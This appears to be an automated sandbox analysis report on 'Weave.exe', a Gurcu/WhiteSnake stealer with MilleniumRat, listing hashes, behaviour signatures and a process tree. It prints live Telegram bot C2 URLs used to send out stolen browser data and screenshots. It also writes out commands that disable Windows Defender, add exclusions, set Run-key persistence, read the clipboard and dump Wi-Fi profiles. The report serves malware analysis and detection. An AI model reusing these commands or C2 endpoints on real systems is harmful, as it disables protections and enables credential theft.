Analysis

  • max time kernel
    42s
  • max time network
    82s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    12-11-2024 11:14

General

  • Target

    Weave.exe

  • Size

    37.4MB

  • MD5

    1fb566f5c82922080e03a86e49b40154

  • SHA1

    0fe9bea2a2bf93e462b69b4afd9b833653f0dabb

  • SHA256

    80d82a2a33ab017eb31159d550ed2f08135ec2767ee68b7b88f94e3386d955ef

  • SHA512

    7e34f9ce23ae59ed46f3f8eb72e77f3bc3d4688ff44024e6059213fc8c831741306867bb579910ade4468f881e3f28bb4981275c98c2487e407a8774850accc3

  • SSDEEP

    786432:rK0ziIuB5EGCNldFPQizbz9y1Osn+bk4Xpf/2GPN1O:rKqgB54bdFPPg1Os+bHd2GF

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendMessage?chat_id=-1002245526003

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getUpdates?offset=-

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%B8Screenshot%20take

Signatures

  • Gurcu family
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • MilleniumRat

    MilleniumRat is a remote access trojan written in C#.

  • Milleniumrat family
  • Modifies WinLogon for persistence 2 TTPs 5 IoCs
  • Process spawned unexpected child process 15 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 14 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Contacts a large (700) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Stops running service(s) 4 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 16 IoCs
  • Loads dropped DLL 53 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 12 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Drops file in System32 directory 4 IoCs
  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • UPX packed file 55 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 6 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Detects Pyinstaller 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 15 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 48 IoCs
  • Modifies registry class 2 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 17 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:620
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:380
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:676
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:976
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:544
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:376
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                1⤵
                  PID:1076
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                    PID:1084
                    • C:\Program Files\Google\Chrome\updater.exe
                      "C:\Program Files\Google\Chrome\updater.exe"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:704
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    1⤵
                      PID:1104
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                      1⤵
                        PID:1140
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                        1⤵
                          PID:1160
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1264
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1376
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1420
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:2556
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                  1⤵
                                    PID:1556
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                    1⤵
                                      PID:1612
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                      1⤵
                                        PID:1644
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                        1⤵
                                          PID:1652
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                          1⤵
                                            PID:1764
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                            1⤵
                                              PID:1776
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                              1⤵
                                                PID:1836
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1924
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:2016
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:2024
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1880
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                        1⤵
                                                          PID:2084
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2140
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2176
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                              1⤵
                                                                PID:2380
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2532
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                  1⤵
                                                                    PID:2540
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                    1⤵
                                                                      PID:2584
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:2648
                                                                      • C:\Windows\sysmon.exe
                                                                        C:\Windows\sysmon.exe
                                                                        1⤵
                                                                          PID:2712
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2732
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                            1⤵
                                                                              PID:2744
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                              1⤵
                                                                                PID:2756
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                1⤵
                                                                                  PID:2800
                                                                                • C:\Windows\system32\wbem\unsecapp.exe
                                                                                  C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                  1⤵
                                                                                    PID:2632
                                                                                  • C:\Windows\Explorer.EXE
                                                                                    C:\Windows\Explorer.EXE
                                                                                    1⤵
                                                                                      PID:3296
                                                                                      • C:\Users\Admin\AppData\Local\Temp\Weave.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\Weave.exe"
                                                                                        2⤵
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:1940
                                                                                        • C:\Users\Admin\AppData\Local\Temp\Weave.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\Weave.exe"
                                                                                          3⤵
                                                                                          • Loads dropped DLL
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:1316
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI19402\Build.exe -pbeznogym
                                                                                            4⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3636
                                                                                            • C:\Users\Admin\AppData\Local\Temp\_MEI19402\Build.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\_MEI19402\Build.exe -pbeznogym
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:1872
                                                                                              • C:\ProgramData\Microsoft\hacn.exe
                                                                                                "C:\ProgramData\Microsoft\hacn.exe"
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:1564
                                                                                                • C:\ProgramData\Microsoft\hacn.exe
                                                                                                  "C:\ProgramData\Microsoft\hacn.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Loads dropped DLL
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:788
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI15642\s.exe -pbeznogym
                                                                                                    8⤵
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:4896
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI15642\s.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\_MEI15642\s.exe -pbeznogym
                                                                                                      9⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:4748
                                                                                                      • C:\ProgramData\main.exe
                                                                                                        "C:\ProgramData\main.exe"
                                                                                                        10⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Loads dropped DLL
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:2528
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpDA14.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpDA14.tmp.bat
                                                                                                          11⤵
                                                                                                            PID:2468
                                                                                                            • C:\Windows\system32\tasklist.exe
                                                                                                              Tasklist /fi "PID eq 2528"
                                                                                                              12⤵
                                                                                                              • Enumerates processes with tasklist
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:8128
                                                                                                            • C:\Windows\system32\find.exe
                                                                                                              find ":"
                                                                                                              12⤵
                                                                                                                PID:8136
                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                Timeout /T 1 /Nobreak
                                                                                                                12⤵
                                                                                                                • Delays execution with timeout.exe
                                                                                                                PID:8388
                                                                                                              • C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
                                                                                                                "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
                                                                                                                12⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Loads dropped DLL
                                                                                                                • Checks processor information in registry
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:8612
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
                                                                                                                  13⤵
                                                                                                                    PID:4344
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
                                                                                                                      14⤵
                                                                                                                      • Adds Run key to start application
                                                                                                                      • Modifies registry key
                                                                                                                      PID:5304
                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 8612 -s 3008
                                                                                                                    13⤵
                                                                                                                    • Checks processor information in registry
                                                                                                                    • Enumerates system info in registry
                                                                                                                    PID:2608
                                                                                                            • C:\ProgramData\svchost.exe
                                                                                                              "C:\ProgramData\svchost.exe"
                                                                                                              10⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Modifies registry class
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:1092
                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\pFG3Duil1NAbFHoInFFIi7JfPHXMZXRvb98S0ewJA0VkW.vbe"
                                                                                                                11⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:5232
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\oGgyulsi03j6EO3sjCC.bat" "
                                                                                                                  12⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:5816
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\ChainComServermonitor.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor/ChainComServermonitor.exe"
                                                                                                                    13⤵
                                                                                                                    • Modifies WinLogon for persistence
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Adds Run key to start application
                                                                                                                    • Drops file in Program Files directory
                                                                                                                    • Modifies registry class
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:6188
                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kiwwuscg\kiwwuscg.cmdline"
                                                                                                                      14⤵
                                                                                                                        PID:7848
                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD84F.tmp" "c:\ProgramData\CSC554C2728B1064043A372326E3E4AA288.TMP"
                                                                                                                          15⤵
                                                                                                                            PID:7896
                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5s0uhc3g\5s0uhc3g.cmdline"
                                                                                                                          14⤵
                                                                                                                          • Drops file in System32 directory
                                                                                                                          PID:7916
                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD8CC.tmp" "c:\Windows\System32\CSC23EE178560844F13BC2065E029F081DB.TMP"
                                                                                                                            15⤵
                                                                                                                              PID:7976
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Of3WDm98eY.bat"
                                                                                                                            14⤵
                                                                                                                              PID:8236
                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                15⤵
                                                                                                                                  PID:8248
                                                                                                                                • C:\Windows\system32\chcp.com
                                                                                                                                  chcp 65001
                                                                                                                                  15⤵
                                                                                                                                    PID:8452
                                                                                                                                  • C:\Windows\system32\PING.EXE
                                                                                                                                    ping -n 10 localhost
                                                                                                                                    15⤵
                                                                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                    • Runs ping.exe
                                                                                                                                    PID:8528
                                                                                                                                  • C:\Program Files\Windows Sidebar\Shared Gadgets\OfficeClickToRun.exe
                                                                                                                                    "C:\Program Files\Windows Sidebar\Shared Gadgets\OfficeClickToRun.exe"
                                                                                                                                    15⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:7604
                                                                                                                        • C:\ProgramData\crss.exe
                                                                                                                          "C:\ProgramData\crss.exe"
                                                                                                                          10⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:1888
                                                                                                                          • C:\ProgramData\crss.exe
                                                                                                                            "C:\ProgramData\crss.exe"
                                                                                                                            11⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Loads dropped DLL
                                                                                                                            • Adds Run key to start application
                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:5544
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "ver"
                                                                                                                              12⤵
                                                                                                                                PID:5716
                                                                                                                          • C:\ProgramData\setup.exe
                                                                                                                            "C:\ProgramData\setup.exe"
                                                                                                                            10⤵
                                                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                            • Drops file in Program Files directory
                                                                                                                            PID:3956
                                                                                                                  • C:\ProgramData\Microsoft\based.exe
                                                                                                                    "C:\ProgramData\Microsoft\based.exe"
                                                                                                                    6⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                    PID:1032
                                                                                                                    • C:\ProgramData\Microsoft\based.exe
                                                                                                                      "C:\ProgramData\Microsoft\based.exe"
                                                                                                                      7⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Loads dropped DLL
                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                      PID:4456
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:1732
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'
                                                                                                                          9⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2828
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:4980
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                                                                                          9⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2252
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\​   ‍.scr'"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:3952
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\​   ‍.scr'
                                                                                                                          9⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2344
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:964
                                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                                          tasklist /FO LIST
                                                                                                                          9⤵
                                                                                                                          • Enumerates processes with tasklist
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2044
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:784
                                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                                          tasklist /FO LIST
                                                                                                                          9⤵
                                                                                                                          • Enumerates processes with tasklist
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2568
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                                                                        8⤵
                                                                                                                          PID:632
                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                                                                            9⤵
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:5596
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                                                                                          8⤵
                                                                                                                          • Clipboard Data
                                                                                                                          PID:3364
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            powershell Get-Clipboard
                                                                                                                            9⤵
                                                                                                                            • Clipboard Data
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:5660
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                          8⤵
                                                                                                                            PID:3440
                                                                                                                            • C:\Windows\system32\tasklist.exe
                                                                                                                              tasklist /FO LIST
                                                                                                                              9⤵
                                                                                                                              • Enumerates processes with tasklist
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:5700
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                            8⤵
                                                                                                                              PID:2256
                                                                                                                              • C:\Windows\system32\tree.com
                                                                                                                                tree /A /F
                                                                                                                                9⤵
                                                                                                                                  PID:5728
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                                                                                8⤵
                                                                                                                                • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                PID:4428
                                                                                                                                • C:\Windows\system32\netsh.exe
                                                                                                                                  netsh wlan show profile
                                                                                                                                  9⤵
                                                                                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                  • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                  PID:5628
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c "systeminfo"
                                                                                                                                8⤵
                                                                                                                                  PID:5028
                                                                                                                                  • C:\Windows\system32\systeminfo.exe
                                                                                                                                    systeminfo
                                                                                                                                    9⤵
                                                                                                                                    • Gathers system information
                                                                                                                                    PID:5736
                                                                                                                                • C:\Windows\system32\cmd.exe
